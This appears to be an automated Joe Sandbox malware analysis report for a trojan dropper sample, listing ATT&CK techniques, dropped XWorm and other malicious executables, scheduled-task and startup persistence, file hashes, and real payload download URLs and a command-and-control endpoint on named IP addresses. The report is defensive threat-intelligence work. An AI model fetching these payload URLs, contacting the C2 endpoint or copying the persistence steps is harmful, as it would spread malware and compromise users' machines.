Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	861 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	1 DLL Side-Loading	2 Registry Run Keys / Startup Folder	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	12 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	112 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	225 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe	100%	Avira	HEUR/AGEN.1313526
C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	100%	Avira	HEUR/AGEN.1313526
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Roaming\github.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.XWorm
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.XWorm
C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Roaming\github.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.XWorm

Source	Detection	Scanner	Label
179.43.171.209	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1824233174/EJQ2xs8.exeXYZ0123456789	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe9	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeO	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe61	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe/185.215.113.16/luma/random.exeSSC:	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1824233174/EJQ2xs8.exe	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exea5	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe8(	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1824233174/cAvEmnl.exeXYZ0123456789	0%	Avira URL Cloud	safe
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce9-1002	0%	Avira URL Cloud	safe
http://185.215.113.16/S	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe1010714001	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1824233174/cAvEmnl.exe	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php/luma/random.exe450	100%	Avira URL Cloud	malware
http://31.41.244.11/files/1824233174/cAvEmnl.exeNsz	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeAppDataBs	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe714001	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeAppData	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeT	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeLMEMPp	0%	Avira URL Cloud	safe
http://185.215.113.16/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce9024154m	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
179.43.171.209	true	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.phpV	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe61	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/1824233174/EJQ2xs8.exe	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exea5	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe/185.215.113.16/luma/random.exeSSC:	skotes.exe, 00000006.00000002.2896207218.000000000159A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe8(	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe9	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/1824233174/EJQ2xs8.exeXYZ0123456789	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/1824233174/cAvEmnl.exeXYZ0123456789	skotes.exe, 00000006.00000002.2896207218.00000000015ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exeO	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/S	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpN	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce9-1002	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe1010714001	skotes.exe, 00000006.00000002.2896207218.0000000001657000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/1824233174/cAvEmnl.exe	skotes.exe, 00000006.00000002.2896207218.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2896207218.00000000015ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/1824233174/cAvEmnl.exeNsz	skotes.exe, 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php6	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exeAppDataBs	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php/luma/random.exe450	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exe714001	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exeT	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exeAppData	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exeLMEMPp	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exelencoded	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exep	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpd	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exeo	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpj	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	cAvEmnl.exe, 00000007.00000002.2895978891.0000000002491000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce9024154m	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php0	skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
179.43.171.209	unknown	Panama	51852	PLI-ASCH	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565749
Start date and time:	2024-11-30 18:06:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@13/12@0/4
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target EJQ2xs8.exe, PID 7668 because it is empty
Execution Graph export aborted for target file.exe, PID 7316 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7520 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7636 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:08:01	API Interceptor	916x Sleep call for process: skotes.exe modified
12:08:14	API Interceptor	39x Sleep call for process: cAvEmnl.exe modified
12:08:18	API Interceptor	1x Sleep call for process: github.exe modified
12:08:31	API Interceptor	1x Sleep call for process: EJQ2xs8.exe modified
17:06:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:08:17	Task Scheduler	Run new task: github path: C:\Users\user\AppData\Roaming\github.exe
17:08:20	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\github.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
179.43.171.209	file.exe	Get hash	malicious	XWorm	Browse
179.43.171.209	file.exe	Get hash	malicious	XWorm	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PLI-ASCH	file.exe	Get hash	malicious	XWorm	Browse	179.43.171.209
	file.exe	Get hash	malicious	XWorm	Browse	179.43.171.209
	H4IoDDh3Rv.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse	176.223.112.134
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	179.43.171.197
	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse	179.43.182.252
	http://software.oldversion.com/download.php?f=YTo1OntzOjQ6InRpbWUiO2k6MTczMTQ4OTAwMjtzOjI6ImlkIjtpOjEzODk4O3M6NDoiZmlsZSI7czo0MzoicGRmY3JlYXRvci0xLTYtMi1QREZDcmVhdG9yLTFfNl8yX3NldHVwLmV4ZSI7czozOiJ1cmwiO3M6NTA6Imh0dHA6Ly93d3cub2xkdmVyc2lvbi5jb20vd2luZG93cy9wZGZjcmVhdG9yLTEtNi0yIjtzOjQ6InBhc3MiO3M6MzI6IjMwYzExNzY3MTEwNWY3MjhjYjA0YzU2ZjkzYTc1YTRjIjt9	Get hash	malicious	Unknown	Browse	81.17.20.50
	Exploit Detector LIST (2).bat	Get hash	malicious	Unknown	Browse	179.43.180.122
	Exploit Detector LIST (2).bat	Get hash	malicious	Unknown	Browse	179.43.180.122
	Payload 94.75 (3).225.exe	Get hash	malicious	Unknown	Browse	190.211.254.101
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	190.211.254.192
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	file.exe	Get hash	malicious	XWorm	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe	file.exe	Get hash	malicious	XWorm	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\github.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\github.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EJQ2xs8.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	6.560412971442069
Encrypted:	false
SSDEEP:	1536:J/mQgB/wjBHgXOo6PF09a3Yu2u29Pp9/D9gSFovbnlgZFO/86c9p:J/mzBIlAe3WuMzr9vFovbnmFO/54
MD5:	EFD5937F50C21B5CE660D67F3F995821
SHA1:	28C4A690949E1A798904C67A869E33EC0F70BA13
SHA-256:	5A09D23637929D77E9C04322D800690BC6E7272E0755843F387C37B99F452FB8
SHA-512:	13E092E75FD3FCF2DAFCE1E186F6583DF1F562FFEBC5F45CDF80A21F2DEA25DC96E1535194E393B94153E2D41CB8B0E86B7835CB918FB278E119486836BC1CD9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r0Kg.....................@.......`...`... ....@.. .......................`............@.................................T...W.... .......................@.......................................................`..................H...........U@...7'.@6... ...8..................@...XejnR........`.......<.............. ..`.text...............>.............. ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1848320
Entropy (8bit):	7.949654150885944
Encrypted:	false
SSDEEP:	24576:m48EC0lEEEJDJVQhatQvxRUBfTyL0CmQlzQ7DwKxJEPGyQN2mV6gzqx1vH3M+3xg:DCeXEJrev1LhFQ/wvGKhg0f3Mibr
MD5:	D39ABBE51442F47BD2736EB7C6CB60C3
SHA1:	1F3BCA8CD4BEB9E197381E66264885E5D7925C5F
SHA-256:	D9DD2EF8BD0F684AB255058C6C964CF9102C06B3727AB5B6A84CED20CC7687DA
SHA-512:	2D834AFAE15F1B2EBFF69813C169E566BD65229F3FE56F3A69A7EC2ED0FABD44B9E6A9149A18A3194F5C4CFC57A0FA35EDEC90CB7A4C0D9D1BDD6E6FE6933FDB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...B3Gg.............................`I...........@...........................I.....d.....@.................................\`..p....P.......................a...................................................................................... . .@.......X..................@....rsrc........P.......h..............@....idata .....`.......j..............@... .@*..p.......l..............@...enyyijut....../......n..............@...ijrsozmw.....PI.....................@....taggant.0...`I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1723904
Entropy (8bit):	7.9350018891587055
Encrypted:	false
SSDEEP:	49152:KQ4SuBDQC/lhGT3uXQqxxi0se9ZqMUO7kF:2S8QilVXBwgq
MD5:	7AC5198E128DEDA55EEEB6CCFC8B57EA
SHA1:	96B58D89DDFEDDA3DC8DAEBB4391ABE40843253E
SHA-256:	887A2E09A1E373AD3F5224A8464B0E5B4EBE4A344958C2D9C91CBD42A54F1241
SHA-512:	806E4CBF2B47AFF1E0BFB89FA13D55D10290C4CABB97E675808F3DBDCB7633D8FD97FC10619EFD1C0EE8D11A0C15C0604CCFC32D9A60979542A5235087127818
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r0Kg.................~........... D.. ........@.. .......................`D..........@.................................U...i.......8........................................................................................................... . ..... ...@... ..............@....rsrc...8............`..............@....idata . ...........d..............@... .`)..........f..............@...dvpnmyli.....@*......h..............@...lhlewnhz. ....D......(..............@....taggant.@... D.."...,..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	6.560412971442069
Encrypted:	false
SSDEEP:	1536:J/mQgB/wjBHgXOo6PF09a3Yu2u29Pp9/D9gSFovbnlgZFO/86c9p:J/mzBIlAe3WuMzr9vFovbnmFO/54
MD5:	EFD5937F50C21B5CE660D67F3F995821
SHA1:	28C4A690949E1A798904C67A869E33EC0F70BA13
SHA-256:	5A09D23637929D77E9C04322D800690BC6E7272E0755843F387C37B99F452FB8
